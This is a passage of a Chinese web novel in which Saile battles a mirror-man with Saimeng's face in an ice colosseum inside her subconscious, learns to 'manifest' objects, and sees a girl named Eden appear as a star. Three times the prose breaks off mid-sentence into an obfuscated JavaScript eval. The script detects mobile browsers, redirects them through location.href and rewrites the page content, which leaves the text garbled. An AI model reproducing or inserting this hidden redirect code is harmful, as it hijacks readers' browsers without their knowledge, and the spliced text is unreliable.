——而此时,身处险境的塞勒在万丈高崖上已经试了不知多少次,还是无法成功跳下悬崖。 每一次刚准备跳就会被星星叫停,不是说她“还不够相信”,就是说“还没有下定决心”,好像越试就越难动,塞勒感觉整个人都麻了。 “不行了……这个实在太抽象了,”塞勒坐在高台,麻木地说,“我现在都不知道怎么相信自己了。” “那是因为,”星星道,“你一直活在外界的评价体系里,已经太久没有真的相信自己了,所以才会感到陌生,没有力量!” “没有力量?”塞勒不服气,“我就算体力比不上赛蒙,但怎么着也算运动健将,怎么会没有力量?” “那个只能称之为力气,”头顶的声音似火花四溅,劈啪作响,“不是力量。真正的力量无需借助于任何外力,是从心里生发出来的。” “行行行。”塞勒深吸一口气,准备接着再来。恰在此时,一道强光闪过眼睛,就像是无意间被对面大楼的玻璃反射到一样,塞勒“啊”一声,下意识闭上眼。 这才反应过来,她现在身处的位置,哪有什么对面大楼? 但一睁眼,那光源不但没有褪散,甚至变本加厉出现好几道,一时间整个苍穹都变成无数巨大的反光镜,刺光四射,根本睁不开眼! 隔着眼皮,塞勒感觉那些光源斑驳晃动,紧接着就是一道熟悉的声音—— “哟,这就不敢啦?”镜面人卷土重来,声音响彻云霄,“不是要证明自己厉害吗?不是爱逞强吗?” 塞勒猛地捂住耳朵,被熟悉的痛苦再次席卷。 “现在才发现你只不过是一个可怜的学人精吗?”那高亢声音并不想放过她,“胆小鬼!” “别说了……”塞勒抱住脑袋,蜷缩起来,“别说了。” “那不是真的。” 头顶星星的声音见缝插针。 “什么?” “那只是你自己潜意识当中曾批判过自己的想法,不是真的。”星星道,“塞勒,你要学会分辨什么才是真的,什么不是。什么是别人的声音,什么是自己的。” “我自己……”塞勒怔忪着,“我怎么会?” “如果你内在核心不稳定,就会很容易借了别人的梦想,借了别人的评价,最后成为自己的反对者,率先对自己发起攻击。” 可塞勒睁开眼,遽然发现从周身到天际,目之所及都是众多零散的赛蒙的镜面!一片一片,严丝合缝,每一个赛蒙都在看她。 她声音颤抖着,“那……这些也是我创造出来的吗?” “在这里就是这样,”星星道,“如果你没有力量,那么潜意识的世界就会反过来压制你,因为那些念头比你更牢固,更强悍,所以你还要等吗?” “你做不到的,放弃吧!” 半空中那声音翻倍响起,一字一字如重锤,砸向塞勒紧捂的耳膜,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890311|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你以为你是谁?一个没有主见,永远活在别人阴影下的小丑?” 什么是真。 “闭嘴……”塞勒的太阳穴突突直跳,感觉自己的血液冲向头顶,又奔回四肢百骸,她难以自持地紧抓胸口衣服,十足狼狈,痛苦不堪,“闭嘴!” “哦对了,哈哈哈哈,”镜面中的声音重重叠叠似山呼海啸,“……你还是加西亚家族里著名的人格模拟器啊!” 什么是假。 “——闭嘴!闭嘴!闭嘴!!!” 仿佛拉满的弓在脑中一瞬间迸断,塞勒尖叫着,腾起身就从万丈高崖冲了出去! “我做得到!” 身躯一霎悬空,急速下坠,失重袭来,耳内因为气压差开始嗡鸣作响,但塞勒浑然不觉,拼尽浑身的意志大喊——“我做得到!我能做到!我相信自己!” 下一刻,塞勒倏然感觉后背一实,好像抵住了什么东西。 “!”塞勒猝然睁眼。 一个又一个悬浮的雪丘出现,犹如凭空架起一座桥,塞勒身下疾疾展开一面巨大的白色雪道,似滑梯一般,稳稳接住了下坠的身体! 惯性使然,塞勒贴着雪道一路滑出个“U”型弧度,最后在上扬的趋势中冲了出去,没想到雪道提升坡不断延展,在空中盘旋上升,形成接连的多圈回环轨道。 “呼!!”塞勒忍不住呼喊出声。即便视线眩晕,目光无法聚焦,但在空中翻转这一瞬间也觉得好像在坐过山车,畅快极了! ——除了身体,似乎连带着她的心也轻盈了许多。 随后几个回环逐渐向下,旋转弯度不断减小,最后一圈完毕,便只剩一道长长的冰雪滑梯。 塞勒从滑梯上一滑到底,安安稳稳,落了地。 “你看吧,”星星的声音如擦燃的火柴,再次出现,“你能做到。” “真的!”塞勒不自觉地笑起来,“谢谢你,星星。你真的带给我好多力量!” “塞勒,”星星的火苗逐渐蹿大,“你本来就有力量。只是一直以来你都忘记了。一个人发自内心的力量,是与生俱来的。” 塞勒忽然就怔住了。 “刚才只是个开始,”星星道,“你真正的考验,现在才将要到来。” “什……”塞勒刚准备继续问,蓦地睁大双眸,发现自己正处在一大片冰面上。 冰面无限延伸,她一抬头,环顾四周,外部是一整圈被积雪覆盖的层层看台。 几十排看台高达十几米,形成不同高度的环形券廊,看台逐层向后退去,呈阶梯式坡度展开。 再往里,是近百个冰铸的拱门拱顶,层层叠叠,晶莹剔透。圆拱的冰柱按照陶立克式、爱奥尼式和科林斯式的标准顺序排列。 而她所处的这个位置,正处于整个场地的正中间—— 赫然是一个规模庞大的椭圆形角斗台。 冰面坚滑,相当于一个足球场大! 这个地方……塞勒惊诧,几乎是一个全冰铸就的古罗马露天角斗场。 “你不是总想跟我比个高低吗?”镜面人赛蒙站在距离她不远的椭圆形半圆处,对她宣战,“那就真刀实枪来一较高下吧。” 41.巨鲨困兽 如果从高空俯瞰,塞勒所处的椭圆形角斗台就像一个卵形剧场。 这使得周围的看台上无论站在哪个位置,都能有很好的视角观看中央竞技场的表演,同时也为场内的各种活动提供了充足的空间。 尽管此时几十排的看台被冰雪覆盖,根本空无一人。 而阶梯式看台最高处——超越塞勒视野的外部上方,则依旧是厚重的皑皑白雪,那里又恢复了连亘雪丘的样貌。与低陷的角斗场连起来,形成了一个明显的“凹”状结构。 仿佛只是一大片雪原中间,天然坍塌了一块。 窸窸窣窣,周围一圈高台之上,一个个镜面雪人蹦跳出现,都围在了斗兽场的周边,像是瞬间都活了过来,争先赶来看下面的角斗表演。 整个场地,唯一与角斗场不同的,大概就是在塞勒身后,正中央,矗立着一座冰铸的灯塔。正在灿阳下晶莹闪光。 镜面人赛蒙的宣战突如其来,塞勒沉寂半晌,张了张嘴没说出话来。 眼前的赛蒙是真的吗? 星星的声音言犹在耳,她在分辨。 然而镜面人没有给她太多时间,他率先发难,加速向塞勒奔来,同时身躯向后,脚下一铲,塞勒趔趄避开,却又被他一个急转扫堂,重重绊倒在地。 后背撞上冰面的一瞬间,塞勒清楚地意识到——他不是赛蒙。 他只是自己臆想出来的。 真正的赛蒙,早已经死了。 阳光有些刺眼。再起身时,塞勒已经换了眼神。事实摆在眼前,一切已经再清晰不过,这是一场她与自己的战斗。 眨眼间镜面人再次发动攻击,冲着刚起身的塞勒一跃而起抬腿下踢,塞勒迅速就地一滚,镜面人脚跟落地,锵然一声锐响,冰面瞬间被砸出一个布满碎冰的坑。 被这一脚踹到可不是闹着玩的…… 然而镜面人纤毫无损,不仅是他,就连冰面也立刻复原,恢复光滑至完好如初。 镜面人在原地转身,面向塞勒,左右活动了下脖子,骤然道,“来啊,你的攻击性呢?!” 没得选,她逃不过,那就算了。 塞勒呼出一口白气,微微躬身,抬起手,握拳拉开战斗姿势。 说起来也不知该不该感谢赛蒙。在他的影响下,无论是拳击还是格斗,塞勒都是涉猎过的。 只不过,还真没想到有朝一日在这种时刻,会与一个有着他面孔的镜面人,实打实的展开一场近身战。 心情不可谓不复杂。 何况这个镜面人几乎复制了赛蒙全部的优势。 但她清楚,解铃还须系铃人。这一切都由她创造,自然要由她解决。 然而当塞勒真的跟镜面人近身格斗动起手来,才发现她还是天真了,这个镜面人显然具备着超出赛蒙原本的优势。 塞勒动手的一瞬间,镜面人全身恢复镜面形态。她出右拳,对面以相同的姿势出左拳,两拳相击,指骨咔咔作响,尖锐刺痛,震得她整条手臂发麻。 再来! 她踢左腿,对方以相同的姿势踢右腿,两腿相撞,连接触的位置都一样! 二人相互弹开,塞勒皱起眉,什么情况?!对方不仅能迅速接招,甚至连每个动作都跟自己一模一样! “镜像反射。”头顶星星的声音蓦地燃起,“这就是镜面人,他能以镜面的反射来复制对方的动作,和战斗技巧,因此能够瞬间作出精准的应对。” 原来如此。 塞勒微微躬身,见对面也躬起相同幅度,然后她猝然往右侧疾步跑去,可就在这样毫无预兆的时刻,镜面人还是与她保持了惊人的一致,不差分毫。 这样也行? 倏然一个刹停,未做一秒耽搁,塞勒反向转身抬腿就是一个飞踢,对方没做任何防守,也是同样的一个回旋飞踢。 冲力抵消的反作用下,塞勒猛地向后退了半步,却没想到对方竟比她还多一个动作,即刻矮身向前,双手瞬间抓住她的脚踝! 糟了! 镜面人发力一拽,塞勒瞬间失衡,凌空翻转,向后倒去,砰!落地的瞬间她顾不上疼,立刻向左滚了一圈,摆脱脚踝上的那双手。 “他还可以通过镜面反射,来获得你未来的动作趋势,”星星道,“从而预判你的攻击并进行反制!” 塞勒惊讶起身,急喘,“什么?” 这是个bug吧…… 这意味着,她在近身白刃战上根本占不到任何好处,恐怕会陷入永无止境的复制模式。 “这不是无解了吗?” “也有解,”星星道,“镜面人主要靠镜像复制,如果你能够做出复杂多变的动作诱导,也有可能让他进入错误反射状态。” 但塞勒想了想,自己虽然能打,但格斗水准还真不一定能比过赛蒙。 还是不行。 就这么片刻分神,塞勒眼前蓦地一空,镜面人原地消失了! 塞勒:? “小心!” 星星的声音和一道冰凉的触感几乎同时出现。 “——唔!!”身后猝不及防的一条手臂,手肘屈起,结结实实钳住了塞勒脖颈,力道之大犹如铁臂! 是镜面人! 他是怎么出现在身后的?! 还未来得及多想,塞勒就感到一阵急剧的天旋地转,精钢般的手肘将她放倒,向后拖去,根本没给任何反应时间。这样的肩肘三角固动作之连贯、老练,简直是上乘的格斗高手。 塞勒扳住铁钳般的手肘,脚下不断发力支撑着,脸色开始涨红,偏偏这个姿势她根本使不出任何力气! 紧接着颈部一松,一道残影掠过眼前,是镜面人反身压制。手臂从正面环绕上塞勒颈部,喘气都来不及,塞勒刚想挣扎,另一只手臂就被镜面人膝盖死死压住。 塞勒咬紧牙关,抬腿踢向对方后背,但镜面人浑然不动。 随即他整个身体猝然发力,绞术再度袭来,压迫塞勒的颈部,是断头台! 刹那间塞勒眼前一白,恶心和窒息窜上咽喉。不好……塞勒紧闭双眼,眼前从白转黑,她心知在这种状态下,用不了一分钟,她就凉了。 奈何她一只手臂被控,另一只手和双腿拼尽全力推打都无法撼动身上分毫。 背后的凉意抵达心间,塞勒的眼皮上浮现阵阵光斑,每一声心跳都像重锤擂鼓,沉闷放大,清晰可闻。 周身空气变得稀薄,塞勒依稀听见星星惊促的声音,但她意识恍惚抽离,实在听不清了…… 就在此时。 千钧一发间轰的一声! 冰面惊天动地颤晃起来,塞勒和镜面人都被巨大的震动掀翻,断头台顺势破解,塞勒得以片刻的喘息。 什么情况?地震了? 轰! 又是一声巨响,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909167|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地震颤。 轰!! 再一次,镜面人勉强爬起,又被掀翻。 轰!!! 犹如平地炸起一声声雷暴,撼天动地中,四周高高的看台上,覆盖着竖壁的层层积雪悉数溃散,倾盆落下。 十几米看台之上,围观的雪人们也被震得东倒西歪,前仰后合地乱晃。 一大圈厚重的白色帷幕直泻而下,激起翻腾的重重雪雾,在眼前弥漫,又散去。 帷幕落下,眼前的视野变得清晰,塞勒才震惊地发现——原来被雪覆盖的高层看台,一整个竖面其实并没有空位,只是徒有个样子,环顾四周,那是一堵不留缝隙的坚冰铸就的墙壁! 透过那道冰墙,塞勒看见了一只巨大的鲨鱼。正张着血盆大口和尖牙利齿,在冰墙内翻腾一圈,掀起浑浊的深蓝浪涛,又向前一个俯冲。 ——轰!! 陡然间,塞勒这才明白,刚才那不是地震,也不是雪崩。 那就是这条巨鲨在撞击这堵冰墙! 冰面依旧在一下一下轰然震颤着,镜面人似乎在努力寻找平衡,想要站起来,而塞勒坐在地上,瞠目结舌,“这是什么……” “那是混沌鲨。”头顶的声音像吹又生的火苗,“生长在混沌之海中,是潜镜丘的困兽。” “什么?”塞勒反应了好一会儿,才说,“生长在混沌之海?可混沌之海……是什么啊?” “混沌之海,就是由无数茫然、迷失、幻想、恐惧和贪婪逐渐汇成的暗海。”星星回答,“在整座岛屿的下方。” “可是,”塞勒一头雾水,疑惑道,“可这里不是我的潜意识吗?” “没错,”星星缓缓道,“但凡是进入潜镜丘的,每个人心中都有一只困兽。” “潜镜丘的,困兽?”塞勒盯着那只不断撞击的巨鲨,“……你说那是我的?” “是的。”星星道,“你也看到了,混沌之海和这里只有一壁之隔。而混沌鲨就是长期被你限制和束缚的产物。” “我……” 仿佛身处露天海洋馆,混沌鲨在“凹”字形冰墙中,从上到下,从左边游到右边,东撞一下西撞一下。 “混沌鲨一旦出现,就说明你真的要好好面对自己了,塞勒。”星星道,“当你愿意坦诚面对真实的自己,你就能拿回自己的力量。” “坦诚面对自己……”塞勒喃喃,“怎么做?” “回溯你的过去,看看有什么是一直被你忽略了,甚至压抑着的。” 塞勒揣摩着星星的话,双手撑地试着站起来,随即又滑倒,再起身。现在她和镜面人在这片冰面上,无异于站在松软的蹦床上进行战斗。 周围高台上的雪人一个个不倒翁似的,没鼻子没眼,却还是像在观赏这段表演,很是滑稽。 终于站直身体。 但刚才的经验告诉她,在悬殊的体格力量和格斗技巧之下,选择近身战是很不明智的。 想要赢,只有可能拉远距离战斗。 可是问题接踵而至,拉远战斗,她手边空无一物,也没办法进行任何有效攻击。 “星星,”塞勒只好再次求助,“别的先不说,我现在只能跟他保持距离,但我现在身上没有任何东西,始终防守也不是办法,进行不了任何攻击怎么办啊?” “有办法。”星星似乎颇为笃定,“尝试显化,无中生有的秘诀。” 42.显化法则 “显化?”塞勒疑惑,“呃,什么意思啊?” “对,显化。”星星道,“简单来讲,就是你脑中想一个事物,然后,让它在这个世界出现的过程。” “啊?”塞勒道,“这么神奇?” “当然,记得这里是你的潜意识世界。”星星回答,“如果你足够有力量,应该是能够瞬间显化出任何东西的。” “唔……”塞勒很无奈,从她来到这里基本就没顺利过,别说显化任何东西了。 “显化法则一,”星星没管她的迟疑,直接道,“这个世界的运行规律,就是‘我想要,我得到’。你必须完全相信这点。” “好……我想要,我得到。”塞勒跟着重复。 “现在,尝试一下,随便显化什么东西都行。”星星道。 “就这么开始吗?”塞勒睁大双眼,呼了口气,“行。” 冰面还在时不时震颤,她踉踉跄跄移步躲到了灯塔后面。 塞勒伸出一只手,向上摊开,闭上眼,许愿似的,郑重其事地一点头—— 再睁眼。 一瞧手心。 啥也没有。 “……”塞勒一脸被欺骗了感情的表情,“显化啥啊,你说的真的假的啊?” “你是怎么显化的?” “不是你说的吗,”塞勒说,“刚刚我就使劲想——随便显化什么东西都行。” “……”这次,轮到星星沉默了。 “你刚刚就是想着这个显化的?”再次开口时,星星的声音跟被一盆水浇灭了的余烬似的。 塞勒感觉到一点微妙,尴尬笑笑,“啊哈哈……对啊。” “……显化法则二,”听得出星星很无语,“要想具体的事物,而不是模糊的。你想的‘随便什么’这么模棱两可的念头,谁知道要给你什么啊!” “啊好好。”话音到最后,塞勒感觉星星的火苗都要烧到眉毛了,“别生气别生气,我再试试哈哈。” 她再次环顾四周,重新摊开手掌,望着手心,屏息凝神地闭上眼…… 集中注意力,相信,她对自己说。 随即,一股沉淀的力量浮了出来。 片刻后,星星点点的凉意忽然出现。 她睁开眼。 手心上是一个雪球,虽然只有拇指大小。但确确实实无中生有了一个东西。 “真的有了哎!”塞勒惊奇道,“我刚刚就是在想,我要一个雪球。” “很好。”星星道,“显化成功,记住刚才那个感觉。” “可是……”塞勒蹙了下眉,“这个雪球也太小了吧,我再试试。” 按照同样的方式,片刻后,有一个同样大小的拇指雪球……出现了。 “不是吧!”塞勒有点无言以对了,用这当武器到底能有什么用……“就只能这么大吗?” “因为你还不够熟练,或者说,还不够相信。”星星懒懒道,“你相信的程度就这么多,自然就只显化这么多。你要在以后的每一次显化中,加深那个感觉。” 塞勒正准备再试,忽然感到背后有点动静,这次她敏锐地一侧头,顺势将两只雪球砸向后方,反身撤退,避开了堪堪擦过脖颈的那只手。 她大惊失色看着镜面人随手拂去被雪球砸到的丁点雪花,恍惚反应过来,她身后不是空的,是灯塔啊! “镜面感知。”星星的声音噼啪燃起,“别大意,镜面人拥有通过任何反射面感知周围环境的能力。” “什么?” “只要有反射的物体,他就能看到物体背后的景象,甚至能察觉到敌人隐匿的位置,提前做出反应。” 镜面感知是吗? 奇怪了,但镜面是从哪里来…… 蓦地,塞勒才惊觉,冰面也是镜面的一种!而灯塔的表面,正是由全冰铸就! 不是吧……这就意味着整座场地在他眼里,跟透明的也没什么区别。而他刚才之所以没有继续攻击,只是因为一时还没适应晃动的冰面。 轰!巨鲨又一次撞击冰墙。 但现在,镜面人似乎已经找到了在震颤中维持平衡的方法。他再次锁定塞勒,预备随时发起攻击。 塞勒一边往后退,一边伸出双手,掌心向上屏息凝想,片刻后,两只手各出现了一只稍大一点的雪球。 “很好。”星星鼓励道,“显化的成功度,就是从脑到手的距离。你越相信,越想要,就越能成功。” 镜面人瞬间发力,向塞勒纵身扑来,塞勒一边向旁边跑,拉开战线,一边将雪球砸向对方。虽然确实没什么杀伤力,但至少,够烦人的。 还好她也是越野马拉松的常客了。 手心不断凝出新的雪球,显化的感受加深,塞勒抓到了点感觉,雪球逐渐变大,很快就变成拳头大小。 一开始的追逐战,镜面人根本不在意砸过来的雪球,但逐渐的,被砸到时也会顿一下,就无法再忽略变大的雪球,不得不开始注意避开雪球走向了。 初见成效。此时的塞勒就像一个加强版的豌豆射手,只不过她的弹药,是各式各样的雪球。熟练一些后,她开始尝试显化一些其他冰雪质地的物件。 抛向镜面人的选择变多,什么冰棒啊,冰锥啊,小型雪人什么的……跑了好几圈,终于,镜面人像是烦了,忽然停在了原地。 机会来了! 塞勒凝出两个一拳握不住的雪球,发狠地向镜面人砸去! 然而就在雪球落到对方身上的瞬间,镜面人再一次原地消失……孤零零的两个雪球穿过虚空落了地,冰面上顿时多了两摊雪。 塞勒:? 忽然冰面一闪,一道模糊的影子晃过,眨眼间镜面人就从塞勒的眼前原地出现,迅速迫近,塞勒还没反应过来,脸上就直接挨了一拳! 那一拳力度不小,塞勒瞬间向后翻去,砰的一声在地上滚了好几圈,嘴角顿时便淤出血来。 “什……什么情况。”塞勒擦了下嘴角的血,半跪起身,右边脸颊烧起来似的。 “看样子是镜像交换。”星星道,“镜面人可以将自己与镜面中的影像交换位置,以便能在战斗中迅速躲避,或出其不意地进行反击。” 怪不得,脚下洁白的冰面光滑无比,是绝佳的反射物。塞勒怒火中烧,手上再次凝出雪球,这次一下大了好几倍,狠狠砸去。 果不其然,镜面人再次原地消失!塞勒眼神瞬间下移,立刻在冰面之下,看到了正倒转着,如鬼魅一般迅速移动的镜面人影。 塞勒蹙起眉,心道不妙,这样的灵活度和不可预测性,会直接让自己陷入被动。 镜面鬼影无声朝她袭来,塞勒只能与他一上一下赛跑,迅速思考要怎么应对。 忽然,她心里有了主意。 急速的步伐倏然放慢,她做出要停下的趋势。随即,镜面人影一顿,眼看着就要浮冰而出。 塞勒手中立刻凝出一只双手才能捧住的雪球,瞅准位置,猛地向下一砸,雪花迸散,立刻覆盖了井盖大小的区域。 咚的一下,塞勒能感觉脚下的冰面轻微震动。镜面人没能顺利出来。 “Yes!”正中塞勒下怀,看来她刚才干扰反射面是对的。 这一下也印证了她的猜想——虽然镜面人能够随时换到镜面里移动,但如果交换位置时干扰反射,至少能将他短暂地困在里面,出不来。 但这只能算临时手段。果然镜面人随即转移,立刻在稍远一些的地方再次出现,片刻后,又再次消失。 接下来这一段就多少有些滑稽了。镜面人影占据了冰下主场,塞勒一边奔跑,一边盯着他即将出头的位置,随时出击。不知道为什么,来回多次的重复行为,塞勒总感觉自己像是在……打地鼠? 不管怎样,塞勒想,至少她算是跟对方达到微妙平衡。起码不是在单方面挨打,还能掌握一些主动权。 但很快她就发现,事情不太对劲。 刚才她砸出来的大大小小的雪面在阳光照耀下,其实很快就会融化。整个冰面的反射面积随时在复原。 而镜面人似乎发现了这一点!所以他才会一圈圈几乎是曲折蜿蜒的引塞勒不断绕大圈奔跑。 为的不是攻击,也不是单纯防御。 为的就是消耗她的体力! 塞勒猝然一惊,糟了,中计了。 这恐怕就是远身战的弊端,所有发现都有滞后性。塞勒气喘吁吁,停了下来。感觉自己体力消耗过半,即便此时叫停,也显然有些晚了。 啧,塞勒有些懊恼,刚才要是显化什么面粉之类的就好了。至少能糊在冰面上。 她一停下,镜面人跟着就停下了。他出现在不远处的冰面上,随后一步一步,不疾不徐地朝她走来,脸上挂着好整以暇的笑,那是计谋得逞的满意。 “跑啊。”镜面人熟悉的声音充满讥诮,“很能跑嘛。那就一次让你跑个够。” 塞勒警惕地看着他,随手当空一抓,凝出了一支长冰箭。 看来愤怒值,也是能给予加成的。 当即毫不犹豫甩手向镜面人射去。 没想到对方瞬间转成镜面状态,一抬手,竟生生抓住了那支长箭!他居然能反射出飞箭的行动轨迹?! 塞勒睁大的眼眸即刻映照出镜面人反手将冰箭飞了回来,直冲眉心。 冰箭加速飞来,但塞勒可没有镜面反射回路,电光石火间她侧身偏头,却还是被冰箭擦着脸颊和耳际划过,一阵冰凉触感,之后便是隐隐灼热袭来。 灼热之后,便是疼痛。 新鲜的伤口溢出了血。 塞勒随手一擦,看了一眼,火气上来了。她正要再次凝出什么武器,却见途 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916265|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中镜面人又一次原地消失。 又来?来劲了是吧?! 她在原地紧盯着镜面人的影子,准备伺机行动,却看见倒映的人像忽然出现重影,在她周围一分为五,全都在动。 塞勒使劲眨了眨眼,看着那些重影在周围鬼魅一般,眼花缭乱,不可置信道,“什么鬼?” “镜像复制。”头顶的星星及时道,“镜面人能将自己的倒影分裂成多个影像,这些影像不具备独立意识,但可以在战斗中迷惑敌人,制造虚实难辨的假象。” 塞勒:?! 还没反应过来,塞勒就感到后背一阵凉风,紧接着后腰上就结结实实挨了一记重拳,她整个人顿时向前扑倒在地。 “迷惑敌人……”塞勒按住后腰,忍着钝痛半跪起身,确实够迷惑。 指尖颤抖,刚刚扑倒时双手擦过冰面,力度太大,此时已经破了皮。她握拳缓解了下,问道,“有办法对付吗?” “镜像复制产生的分身本质上只是反射物,不具备完全的自主性。”星星道,“换言之,每个影像都只能进行有限的攻击和防守,如果能识破本体,就能解。” 识破本体。 麻烦了…… 她刚才根本无法从那些加速移动的重影中分辨出哪个才是主体。 这下,局面变得更复杂了。 塞勒半跪在地,将泛红的双手掌心朝上,想显化一些面粉出来。可当她按照同样的方法,屏息凝神,再睁眼,这一次,却什么都没看到。 “星星,为什么我想显化面粉,却失败了?” “因为你在怀疑,塞勒。”星星似乎并不惊讶,“人是无法一边怀疑,一边显化成功的。” ……太敏锐了。塞勒不得不叹服,确实,在冰雪世界里显化冰与雪,看起来是非常合理的事,所以她相信起来很容易。可这次显化这种八竿子打不着的东西,她确实有那么一秒怀疑过可不可行。 “好吧。”但没办法,这种细微之处的思维惯性,是她无法控制的。 冰面依旧空无一人,倒影也消失无踪。塞勒双手撑地踉跄站起,但还没站稳就感觉自己脚踝一痛,侧后方一记扫堂,她甚至只来得及看见一只腿的影子,就重重向后摔去! 神出鬼没也不过如此。 这一下摔得可不轻。塞勒眼前黑了几秒,倒了口凉气,感觉自己的五脏六腑都被震得生疼。 她躺在地上,急喘着,一时都有些难以起身。终于不得不再次重审自己的处境。 她之前觉得跟镜面人进行近身战是不明智的,因为镜面人完全继承了赛蒙的身体素质和力量,远身战对她更有利。 但她错了,实际上,远程作战时,镜面人本体的诸多优势才更加能被无限放大。而那些特异功能,才是塞勒根本无法企及的。 一个残酷的现实摆在了她眼前——不管是近身战,还是远程战,她都讨不到好。 或者也可以直接说,其实整个冰面,无论冰上冰下,都是他的主场。 呼出的气在阳光下变成阵阵白雾,头顶兀地升起一块阴影,塞勒的反应比意识更快,条件反射般猛地向旁边滚去。 果然,下一刻耳边就响起了咔嚓碎冰的声音。 ——是镜面人抬起一脚,跺碎了刚刚塞勒头顶所在位置。 好险。 冰面随即复原。 冰面……该死的冰面。说到底,反射面才是镜面人最大的倚仗,可这冰面这么庞大,占据了整个角斗场,又这么诡异,她根本无可奈何。 塞勒原地翻了个身,没能站起来,“星星,”她问,“有没有什么办法,能打破反射面?” “如果无法靠显化解决,”星星很快回答,“那么,在潜镜丘中其实有一支无坚不摧的冰刃,由世界上最强韧的坚冰所铸,永远不会融化,它可以摧毁一切。包括冰面。” ……她连面粉都没显化出来,就别提这个了。 “在哪儿?”塞勒略显无力地问。 “在……”片刻后,星星回答,“潜镜丘的困兽身上。” 塞勒:困兽?不就是那只巨鲨吗? 问题是巨鲨本来就在冰墙里困着啊……她要取到冰刃,不是还得破冰?这不是变成鸡生蛋还是蛋生鸡的问题了吗? 巨鲨还在撞击冰墙,塞勒从震颤中费力站起身,但没一会儿,又在镜面人诡谲多变的攻击下,以各种各样的方式一次次倒地。 体力和精力的双重流失让每分每秒都变得难熬,似乎已经过了许久,可太阳却依旧像在正午。 再一次被镜面人突如其来的攻击掀翻在地时,她已经伤痕累累,所有感官近乎麻木,但不知是冻的,还是痛的。 不行……不能这样。再这样下去,真的会死。 无论如何,必须得打破冰面。 她才有可能活。 43.星星本体 连亘雪丘下的角斗场上,塞勒与镜面人的战斗如火如荼。 所有雪人都一蹦一跳跑去围观了,因此没有一个人发现,一个小小的身影,此时正抬步踏上这片雪地。 没有人知道她是怎么来到这里的。 她就像意外的一朵小红花,绽放在这片银装素裹的世界。 巨鲨还在时不时撞击冰墙,整个雪丘上一震一颤,厚厚的雪层早已被震得松软。 轰—— 又是一次震颤。 伊甸被晃得颠倒在地。 顿时,被地上软绵绵的雪层淹没。 伊甸从那个小小的雪坑里坐起身,使劲摇了摇头,像只动物幼崽一样抖了抖自己身上的雪。 阳光照在身上,她抬起头,新奇地看着这个白色的世界。她并没有急着起来,反而显得兴味盎然,就地玩起了雪。 当她兴奋地捧起一只小小的雪人,刚站起身走了两步,轰的一声巨颤,没站稳又被身下的大地震倒了。 “……”小小的雪人四分五裂,剩了半个松垮的身子,伊甸撅了下嘴,不高兴。她放下雪人,开始东张西望起来,似乎是想找震源方向。 忽然,她眸子一亮,像发现了什么新奇的东西,站起身,走了过去。 雪人们里三层外三层地围在高高的看台边缘,有些位置绝佳,可以一览无余。有些则不行。 很无奈,就算是雪人要看一场精彩角斗,也得抢好位置。 处在外围的雪人们,要么看其他雪人反射的 “实况转播”,要么就纯听赛程了。但这样的观赛体验,总是不如直接看的要好。 因此,不少外围的雪人没过几时就兴致缺缺,三三两两选择了休眠。 伊甸走到跟前时,刚巧遇到一只休眠的雪人。 她眼中充满好奇,凑近看了一会儿,然后伸出一根手指,轻轻碰了下雪人表面。 滴水入池般,银色的表面微微漾起涟漪,雪人苏醒过来。 “瞧瞧,”还是一种老婆婆的声音,略显慵懒地说,“这是谁家的小可爱啊?” 伊甸顿时瞪大了双眼,眼里有点害怕,但更多的是新奇。 伊甸没有说话。雪人的声音却透着疑惑,“小家伙……你是怎么来到这里的?” 伊甸语塞,摇了摇头。 下一刻,雪人忽然“咦”了一声,“你……” 雪人身上依旧是银色表面,本该完美映射出周围的一切。可是这一次,却轮到雪人惊讶地发现,镜面上丝毫没有伊甸的人像! 事实上,凑到这么近,伊甸也发现了,其实眼前的这个不太像雪人。 至少,它身上的质感,并不像雪。 “瞧啊!”雪人忽然原地蹦跳一下,声音变大了些,“快来看啊!” 周围的雪花飘了起来,离它较近的雪人们转了过来,休眠的雪人也随着雪花的碰触而苏醒。 一个一个雪人凑近,随即接二连三惊呼起来,于是引来更多的雪人。 它们围在伊甸身边,就像一面面人形的镜子。但所有雪人身上的镜面,都没有伊甸的身影。 唯一有的,只是一颗,正亮闪着微光的星星。 伊甸在中央转了一圈,新奇地瞧着每一个镜面上的星星,相同样貌,正以各种不同角度发着微光,映亮她的眸子。 “她是一颗星星!” 忽然一个雪人惊呼出声。 顿时,所有围观底下角斗的雪人都一惊,窸窸窣窣地凑过来。再一次,里三层外三层地,将这颗突如其来的“星星”围住了。 每一个雪人身上都映照出了始料未及的星星。 “她真的是一颗星星!”有更多的雪人惊呼。 似乎没人再关心底下发生什么了。 